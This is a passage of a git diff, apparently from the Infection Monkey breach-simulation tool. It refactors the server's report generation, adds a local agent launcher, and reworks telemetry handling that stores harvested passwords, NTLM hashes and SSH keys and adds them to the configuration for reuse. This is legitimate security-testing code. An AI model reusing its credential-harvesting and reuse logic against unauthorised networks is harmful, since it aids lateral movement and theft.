source_subnet_range.is_in_range(str(ip_addr)): ip_in_src = ip_addr break @@ -500,7 +368,7 @@ class ReportService: if not ip_in_src: continue - for ip_addr in monkey['ip_addresses']: + for ip_addr in monkey["ip_addresses"]: if target_subnet_range.is_in_range(str(ip_addr)): ip_in_dst = ip_addr break @@ -508,12 +376,13 @@ class ReportService: if ip_in_dst: cross_segment_issues.append( { - 'source': ip_in_src, - 'hostname': monkey['hostname'], - 'target': ip_in_dst, - 'services': None, - 'is_self': True - }) + "source": ip_in_src, + "hostname": monkey["hostname"], + "target": ip_in_dst, + "services": None, + "is_self": True, + } + ) return cross_segment_issues @@ -521,7 +390,8 @@ class ReportService: def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): """ Gets list of cross segment issues from source_subnet to target_subnet. - :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param scans: List of all scan telemetry entries. Must have monkey_guid, + ip_addr and services. This should be a PyMongo cursor object. :param source_subnet: The subnet which shouldn't be able to access target_subnet. :param target_subnet: The subnet which shouldn't be accessible from source_subnet. @@ -536,32 +406,35 @@ class ReportService: scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: - target_ip = scan['data']['machine']['ip_addr'] + target_ip = scan["data"]["machine"]["ip_addr"] if target_subnet_range.is_in_range(str(target_ip)): - monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], - source_subnet_range, - target_subnet_range) + monkey = NodeService.get_monkey_by_guid(scan["monkey_guid"]) + cross_segment_ip = get_ip_in_src_and_not_in_dst( + monkey["ip_addresses"], source_subnet_range, target_subnet_range + ) if cross_segment_ip is not None: cross_segment_issues.append( { - 'source': cross_segment_ip, - 'hostname': monkey['hostname'], - 'target': target_ip, - 'services': scan['data']['machine']['services'], - 'icmp': scan['data']['machine']['icmp'], - 'is_self': False - }) + "source": cross_segment_ip, + "hostname": monkey["hostname"], + "target": target_ip, + "services": scan["data"]["machine"]["services"], + "icmp": scan["data"]["machine"]["icmp"], + "is_self": False, + } + ) return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( - source_subnet_range, target_subnet_range) + source_subnet_range, target_subnet_range + ) @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): """ Gets list of cross segment issues within given subnet_group. - :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param scans: List of all scan telemetry entries. Must have monkey_guid, + ip_addr and services. This should be a PyMongo cursor object. :param subnet_group: List of subnets which shouldn't be accessible from each other. :return: Cross segment issues regarding the subnets in the group. @@ -571,21 +444,31 @@ class ReportService: for subnet_pair in itertools.product(subnet_group, subnet_group): source_subnet = subnet_pair[0] target_subnet = subnet_pair[1] - pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet) + pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair( + scans, source_subnet, target_subnet + ) if len(pair_issues) != 0: cross_segment_issues.append( { - 'source_subnet': source_subnet, - 'target_subnet': target_subnet, - 'issues': pair_issues - }) + "source_subnet": source_subnet, + "target_subnet": target_subnet, + "issues": pair_issues, + } + ) return cross_segment_issues @staticmethod def get_cross_segment_issues(): - scans = mongo.db.telemetry.find({'telem_category': 'scan'}, - {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, 'data.machine.icmp': 1}) + scans = mongo.db.telemetry.find( + {"telem_category": "scan"}, + { + "monkey_guid": 1, + "data.machine.ip_addr": 1, + "data.machine.services": 1, + "data.machine.icmp": 1, + }, + ) cross_segment_issues = [] @@ -593,13 +476,14 @@ class ReportService: subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: - cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) + cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group( + scans, subnet_group + ) return cross_segment_issues @staticmethod def get_domain_issues(): - ISSUE_GENERATORS = [ PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_shared_admins_issues, @@ -607,56 +491,31 @@ class ReportService: issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) domain_issues_dict = {} for issue in issues: - if not issue.get('is_local', True): - machine = issue.get('machine').upper() - aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) + if not issue.get("is_local", True): + machine = issue.get("machine").upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine")) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] if aws_instance_id: - issue['aws_instance_id'] = aws_instance_id + issue["aws_instance_id"] = aws_instance_id domain_issues_dict[machine].append(issue) - logger.info('Domain issues generated for reporting') + logger.info("Domain issues generated for reporting") return domain_issues_dict @staticmethod def get_machine_aws_instance_id(hostname): - aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + aws_instance_id_list = list( + mongo.db.monkey.find({"hostname": hostname}, {"aws_instance_id": 1}) + ) if aws_instance_id_list: - if 'aws_instance_id' in aws_instance_id_list[0]: - return str(aws_instance_id_list[0]['aws_instance_id']) + if "aws_instance_id" in aws_instance_id_list[0]: + return str(aws_instance_id_list[0]["aws_instance_id"]) else: return None @staticmethod - def get_issues(): - ISSUE_GENERATORS = [ - ReportService.get_exploits, - ReportService.get_tunnels, - ReportService.get_island_cross_segment_issues, - ReportService.get_azure_issues, - PTHReportService.get_duplicated_passwords_issues, - PTHReportService.get_strong_users_on_crit_issues - ] - - issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) - - issues_dict = {} - for issue in issues: - if issue.get('is_local', True): - machine = issue.get('machine').upper() - aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) - if machine not in issues_dict: - issues_dict[machine] = [] - if aws_instance_id: - issue['aws_instance_id'] = aws_instance_id - issues_dict[machine].append(issue) - logger.info('Issues generated for reporting') - return issues_dict - - @staticmethod - def get_manual_monkeys(): - return [monkey['hostname'] for monkey in mongo.db.monkey.find({}, {'hostname': 1, 'parent': 1, 'guid': 1}) if - NodeService.get_monkey_manual_run(monkey)] + def get_manual_monkey_hostnames(): + return [monkey["hostname"] for monkey in get_manual_monkeys()] @staticmethod def get_config_users(): @@ -675,10 +534,11 @@ class ReportService: exploits = ConfigService.get_config_value(exploits_config_value, True, True) if exploits == default_exploits: - return ['default'] + return ["default"] - return [ReportService.EXPLOIT_DISPLAY_DICT[exploit] for exploit in - exploits] + return [ + ExploiterDescriptorEnum.get_by_class_name(exploit).display_name for exploit in exploits + ] @staticmethod def get_config_ips(): @@ -689,68 +549,48 @@ class ReportService: return ConfigService.get_config_value(LOCAL_NETWORK_SCAN_PATH, True, True) @staticmethod - def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * len(ReportService.ISSUES_DICT) + def get_issue_set(issues, config_users, config_passwords): + issue_set = set() for machine in issues: for issue in issues[machine]: - if issue['type'] == 'elastic': - issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True - elif issue['type'] == 'sambacry': - issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True - elif issue['type'] == 'vsftp': - issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True - elif issue['type'] == 'shellshock': - issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True - elif issue['type'] == 'conficker': - issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True - elif issue['type'] == 'azure_password': - issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True - elif issue['type'] == 'ssh_key': - issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True - elif issue['type'] == 'struts2': - issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True - elif issue['type'] == 'weblogic': - issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True - elif issue['type'] == 'mssql': - issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True - elif issue['type'] == 'hadoop': - issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True - elif issue['type'] == 'drupal': - issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True - elif issue['type'] == 'zerologon': - if not issue['password_restored']: - issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_PASSWORD_RESTORE_FAILED.value] = True - issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True - elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users or issue['type'] == 'ssh': - issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True - elif issue['type'] == 'strong_users_on_crit': - issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True - elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): - issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True + if ReportService._is_weak_credential_issue(issue, config_users, config_passwords): + issue_set.add(ReportService.DerivedIssueEnum.WEAK_PASSWORD) + elif ReportService._is_stolen_credential_issue(issue): + issue_set.add(ReportService.DerivedIssueEnum.STOLEN_CREDS) + elif ReportService._is_zerologon_pass_restore_failed(issue): + issue_set.add(ReportService.DerivedIssueEnum.ZEROLOGON_PASS_RESTORE_FAILED) - return issues_byte_array + issue_set.add(issue["type"]) + + return issue_set @staticmethod - def get_warnings_overview(issues, cross_segment_issues): - warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT) + def _is_weak_credential_issue( + issue: dict, config_usernames: List[str], config_passwords: List[str] + ) -> bool: + # Only credential exploiter issues have 'credential_type' + return ( + "credential_type" in issue + and issue["credential_type"] == CredentialType.PASSWORD.value + and issue["password"] in config_passwords + and issue["username"] in config_usernames + ) - for machine in issues: - for issue in issues[machine]: - if issue['type'] == 'island_cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True - elif issue['type'] == 'tunnel': - warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True - elif issue['type'] == 'shared_admins': - warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True - elif issue['type'] == 'shared_passwords': - warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True + @staticmethod + def _is_stolen_credential_issue(issue: dict) -> bool: + # Only credential exploiter issues have 'credential_type' + return "credential_type" in issue and ( + issue["credential_type"] == CredentialType.PASSWORD.value + or issue["credential_type"] == CredentialType.HASH.value + ) - if len(cross_segment_issues) != 0: - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True - - return warnings_byte_array + @staticmethod + def _is_zerologon_pass_restore_failed(issue: dict): + return ( + issue["type"] == ExploiterDescriptorEnum.ZEROLOGON.value.class_name + and not issue["password_restored"] + ) @staticmethod def is_report_generated(): @@ -763,72 +603,92 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + issue_set = ReportService.get_issue_set(issues, config_users, config_passwords) cross_segment_issues = ReportService.get_cross_segment_issues() monkey_latest_modify_time = Monkey.get_latest_modifytime() scanned_nodes = ReportService.get_scanned() - exploited_nodes = ReportService.get_exploited() - report = \ - { - 'overview': - { - 'manual_monkeys': ReportService.get_manual_monkeys(), - 'config_users': config_users, - 'config_passwords': config_passwords, - 'config_exploits': ReportService.get_config_exploits(), - 'config_ips': ReportService.get_config_ips(), - 'config_scan': ReportService.get_config_scan(), - 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), - 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), - 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues), - 'cross_segment_issues': cross_segment_issues - }, - 'glance': - { - 'scanned': scanned_nodes, - 'exploited': exploited_nodes, - 'stolen_creds': ReportService.get_stolen_creds(), - 'azure_passwords': ReportService.get_azure_creds(), - 'ssh_keys': ReportService.get_ssh_keys(), - 'strong_users': PTHReportService.get_strong_users_on_crit_details() - }, - 'recommendations': - { - 'issues': issues, - 'domain_issues': domain_issues - }, - 'meta': - { - 'latest_monkey_modifytime': monkey_latest_modify_time - } - } + exploited_cnt = len(get_monkey_exploited()) + report = { + "overview": { + "manual_monkeys": ReportService.get_manual_monkey_hostnames(), + "config_users": config_users, + "config_passwords": config_passwords, + "config_exploits": ReportService.get_config_exploits(), + "config_ips": ReportService.get_config_ips(), + "config_scan": ReportService.get_config_scan(), + "monkey_start_time": ReportService.get_first_monkey_time().strftime( + "%d/%m/%Y %H:%M:%S" + ), + "monkey_duration": ReportService.get_monkey_duration(), + "issues": issue_set, + "cross_segment_issues": cross_segment_issues, + }, + "glance": { + "scanned": scanned_nodes, + "exploited_cnt": exploited_cnt, + "stolen_creds": ReportService.get_stolen_creds(), + "azure_passwords": ReportService.get_azure_creds(), + "ssh_keys": ReportService.get_ssh_keys(), + "strong_users": PTHReportService.get_strong_users_on_crit_details(), + }, + "recommendations": {"issues": issues, "domain_issues": domain_issues}, + "meta": {"latest_monkey_modifytime": monkey_latest_modify_time}, + } ReportExporterManager().export(report) mongo.db.report.drop() mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) return report + @staticmethod + def get_issues(): + ISSUE_GENERATORS = [ + ReportService.get_exploits, + ReportService.get_tunnels, + ReportService.get_island_cross_segment_issues, + ReportService.get_azure_issues, + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_strong_users_on_crit_issues, + ] + + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + + issues_dict = {} + for issue in issues: + if issue.get("is_local", True): + machine = issue.get("machine").upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get("machine")) + if machine not in issues_dict: + issues_dict[machine] = [] + if aws_instance_id: + issue["aws_instance_id"] = aws_instance_id + issues_dict[machine].append(issue) + logger.info("Issues generated for reporting") + return issues_dict + @staticmethod def encode_dot_char_before_mongo_insert(report_dict): """ - mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' + char with the unicode ,,, combo instead. :return: dict with formatted keys with no dots. """ - report_as_json = json_util.dumps(report_dict).replace('.', ',,,') + report_as_json = json_util.dumps(report_dict).replace(".", ",,,") return json_util.loads(report_as_json) @staticmethod def is_latest_report_exists(): """ This function checks if a monkey report was already generated and if it's the latest one. - :return: True if report is the latest one, False if there isn't a report or its not the latest. + :return: True if report is the latest one, False if there isn't a report or its not the + latest. """ - latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + latest_report_doc = mongo.db.report.find_one({}, {"meta.latest_monkey_modifytime": 1}) if latest_report_doc: - report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + report_latest_modifytime = latest_report_doc["meta"]["latest_monkey_modifytime"] latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime @@ -842,7 +702,9 @@ class ReportService: """ delete_result = mongo.db.report.delete_many({}) if mongo.db.report.count_documents({}) != 0: - raise RuntimeError("Report cache not cleared. DeleteResult: " + delete_result.raw_result) + raise RuntimeError( + "Report cache not cleared. DeleteResult: " + delete_result.raw_result + ) @staticmethod def decode_dot_char_before_mongo_insert(report_dict): @@ -850,7 +712,7 @@ class ReportService: this function replaces the ',,,' combo with the '.' char instead. :return: report dict with formatted keys (',,,' -> '.') """ - report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + report_as_json = json_util.dumps(report_dict).replace(",,,", ".") return json_util.loads(report_as_json) @staticmethod @@ -858,9 +720,3 @@ class ReportService: if ReportService.is_latest_report_exists(): return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return safe_generate_regular_report() - - @staticmethod - def did_exploit_type_succeed(exploit_type): - return mongo.db.edge.count( - {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, - limit=1) > 0 diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 865556b0d..99d2ac629 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -1,7 +1,5 @@ import logging -__author__ = 'maor.rayzin' - logger = logging.getLogger(__name__) @@ -30,4 +28,4 @@ class ReportExporterManager(object, metaclass=Singleton): try: exporter().handle_report(report) except Exception as e: - logger.exception('Failed to export report, error: ' + e) + logger.exception("Failed to export report, error: " + e) diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py index 30e406e9f..38f7ee9cb 100644 --- a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -4,8 +4,10 @@ from gevent.lock import BoundedSemaphore logger = logging.getLogger(__name__) -# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate a report at a time. -# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without +# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate +# a report at a time. +# Report generation can be quite slow if there is a lot of data, and the UI queries the Root +# service often; without # the locks, these requests would accumulate, overload the server, eventually causing it to crash. logger.debug("Initializing report generation locks.") __report_generating_lock = BoundedSemaphore() @@ -28,6 +30,7 @@ def safe_generate_reports(): def safe_generate_regular_report(): # Local import to avoid circular imports from monkey_island.cc.services.reporting.report import ReportService + try: __regular_report_generating_lock.acquire() report = ReportService.generate_report() @@ -39,6 +42,7 @@ def safe_generate_regular_report(): def safe_generate_attack_report(): # Local import to avoid circular imports from monkey_island.cc.services.attack.attack_report import AttackReportService + try: __attack_report_generating_lock.acquire() attack_report = AttackReportService.generate_new_report() diff --git a/monkey/monkey_island/cc/services/representations.py b/monkey/monkey_island/cc/services/representations.py index cd804db50..0193fae0d 100644 --- a/monkey/monkey_island/cc/services/representations.py +++ b/monkey/monkey_island/cc/services/representations.py @@ -6,9 +6,9 @@ from flask import make_response def normalize_obj(obj): - if ('_id' in obj) and ('id' not in obj): - obj['id'] = obj['_id'] - del obj['_id'] + if ("_id" in obj) and ("id" not in obj): + obj["id"] = obj["_id"] + del obj["_id"] for key, value in list(obj.items()): if isinstance(value, bson.objectid.ObjectId): diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py deleted file mode 100644 index 079cb995f..000000000 --- a/monkey/monkey_island/cc/services/representations_test.py +++ /dev/null @@ -1,54 +0,0 @@ -from datetime import datetime -from unittest import TestCase - -import bson - -from monkey_island.cc.services.representations import normalize_obj - - -class TestJsonRepresentations(TestCase): - def test_normalize_obj(self): - # empty - self.assertEqual({}, normalize_obj({})) - - # no special content - self.assertEqual( - {"a": "a"}, - normalize_obj({"a": "a"}) - ) - - # _id field -> id field - self.assertEqual( - {"id": 12345}, - normalize_obj({"_id": 12345}) - ) - - # obj id field -> str - obj_id_str = "123456789012345678901234" - self.assertEqual( - {"id": obj_id_str}, - normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) - ) - - # datetime -> str - dt = datetime.now() - expected = {"a": str(dt)} - result = normalize_obj({"a": dt}) - self.assertEqual(expected, result) - - # dicts and lists - self.assertEqual({ - "a": [ - {"ba": obj_id_str, - "bb": obj_id_str} - ], - "b": {"id": obj_id_str} - }, - normalize_obj({ - "a": [ - {"ba": bson.objectid.ObjectId(obj_id_str), - "bb": bson.objectid.ObjectId(obj_id_str)} - ], - "b": {"_id": bson.objectid.ObjectId(obj_id_str)} - }) - ) diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py new file mode 100644 index 000000000..e7e18045a --- /dev/null +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -0,0 +1,56 @@ +import logging +import os +import platform +import stat +import subprocess +from shutil import copyfile + +import monkey_island.cc.environment.environment_singleton as env_singleton +from monkey_island.cc.resources.monkey_download import get_monkey_executable +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.services.utils.network_utils import local_ip_addresses + +logger = logging.getLogger(__name__) + + +class LocalMonkeyRunService: + DATA_DIR = None + + # TODO: A number of these services should be instance objects instead of + # static/singleton hybrids. At the moment, this requires invasive refactoring that's + # not a priority. + @classmethod + def initialize(cls, data_dir): + cls.DATA_DIR = data_dir + + @staticmethod + def run_local_monkey(): + # get the monkey executable suitable to run on the server + result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) + if not result: + return False, "OS Type not found" + + src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) + dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"]) + + # copy the executable to temp path (don't run the monkey from its current location as it may + # delete itself) + try: + copyfile(src_path, dest_path) + os.chmod(dest_path, stat.S_IRWXU | stat.S_IRWXG) + except Exception as exc: + logger.error("Copy file failed", exc_info=True) + return False, "Copy file failed: %s" % exc + + # run the monkey + try: + ip = local_ip_addresses()[0] + port = env_singleton.env.get_island_port() + + args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"] + subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR) + except Exception as exc: + logger.error("popen failed", exc_info=True) + return False, "popen failed: %s" % exc + + return True, "" diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 3d8588663..6eb759b21 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -2,13 +2,17 @@ import copy import dateutil -from monkey_island.cc.server_utils.encryptor import encryptor from monkey_island.cc.models import Monkey +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import check_machine_exploited +from monkey_island.cc.services.telemetry.processing.utils import ( + get_edge_by_scan_or_exploit_telemetry, +) +from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import ( + check_machine_exploited, +) def process_exploit_telemetry(telemetry_json): @@ -19,51 +23,56 @@ def process_exploit_telemetry(telemetry_json): add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( - current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), - exploit_successful=telemetry_json['data']['result'], - exploiter=telemetry_json['data']['exploiter'], - target_ip=telemetry_json['data']['machine']['ip_addr'], - timestamp=telemetry_json['timestamp']) + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), + exploit_successful=telemetry_json["data"]["result"], + exploiter=telemetry_json["data"]["exploiter"], + target_ip=telemetry_json["data"]["machine"]["ip_addr"], + timestamp=telemetry_json["timestamp"], + ) def add_exploit_extracted_creds_to_config(telemetry_json): - if 'credentials' in telemetry_json['data']['info']: - creds = telemetry_json['data']['info']['credentials'] + if "credentials" in telemetry_json["data"]["info"]: + creds = telemetry_json["data"]["info"]["credentials"] for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + ConfigService.creds_add_username(creds[user]["username"]) + if "password" in creds[user] and creds[user]["password"]: + ConfigService.creds_add_password(creds[user]["password"]) + if "lm_hash" in creds[user] and creds[user]["lm_hash"]: + ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) + if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: + ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): - for attempt in telemetry_json['data']['attempts']: - if attempt['result']: - found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: + for attempt in telemetry_json["data"]["attempts"]: + if attempt["result"]: + found_creds = {"user": attempt["user"]} + for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge.dst_node_id, found_creds) def update_network_with_exploit(edge: EdgeService, telemetry_json): - telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) - telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) - new_exploit = copy.deepcopy(telemetry_json['data']) - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] + telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( + telemetry_json["data"]["info"]["started"] + ) + telemetry_json["data"]["info"]["finished"] = dateutil.parser.parse( + telemetry_json["data"]["info"]["finished"] + ) + new_exploit = copy.deepcopy(telemetry_json["data"]) + new_exploit.pop("machine") + new_exploit["timestamp"] = telemetry_json["timestamp"] edge.update_based_on_exploit(new_exploit) - if new_exploit['result']: + if new_exploit["result"]: NodeService.set_node_exploited(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): - attempts = telemetry_json['data']['attempts'] + attempts = telemetry_json["data"]["attempts"] for i in range(len(attempts)): - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ["password", "lm_hash", "ntlm_hash"]: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential) + attempts[i][field] = get_encryptor().enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index b06b638c8..be7b6e7ea 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -3,15 +3,17 @@ import copy from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import check_new_user_communication +from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import ( + check_new_user_communication, +) EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" def process_communicate_as_new_user_telemetry(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - message = telemetry_json['data']['result'][0] - success = telemetry_json['data']['result'][1] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + message = telemetry_json["data"]["result"][0] + success = telemetry_json["data"]["result"][1] check_new_user_communication(current_monkey, success, message) @@ -23,35 +25,35 @@ POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { def process_post_breach_telemetry(telemetry_json): def convert_telem_data_to_list(data): modified_data = [data] - if type(data['result'][0]) is list: # multiple results in one pba + if type(data["result"][0]) is list: # multiple results in one pba modified_data = separate_results_to_single_pba_telems(data) return modified_data def separate_results_to_single_pba_telems(data): modified_data = [] - for result in data['result']: + for result in data["result"]: temp = copy.deepcopy(data) - temp['result'] = result + temp["result"] = result modified_data.append(temp) return modified_data def add_message_for_blank_outputs(data): - if not data['result'][0]: - data['result'][0] = EXECUTION_WITHOUT_OUTPUT + if not data["result"][0]: + data["result"][0] = EXECUTION_WITHOUT_OUTPUT return data post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) - telemetry_json['data'] = convert_telem_data_to_list(telemetry_json['data']) + telemetry_json["data"] = convert_telem_data_to_list(telemetry_json["data"]) - for pba_data in telemetry_json['data']: + for pba_data in telemetry_json["data"]: pba_data = add_message_for_blank_outputs(pba_data) update_data(telemetry_json, pba_data) def update_data(telemetry_json, data): mongo.db.monkey.update( - {'guid': telemetry_json['monkey_guid']}, - {'$push': {'pba_results': data}}) + {"guid": telemetry_json["monkey_guid"]}, {"$push": {"pba_results": data}} + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 151fd672f..667928d3c 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -11,27 +11,28 @@ from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel logger = logging.getLogger(__name__) -TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ - { - TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, - TelemCategoryEnum.STATE: process_state_telemetry, - TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, - TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, - TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, - # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, - TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, - } +TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, + 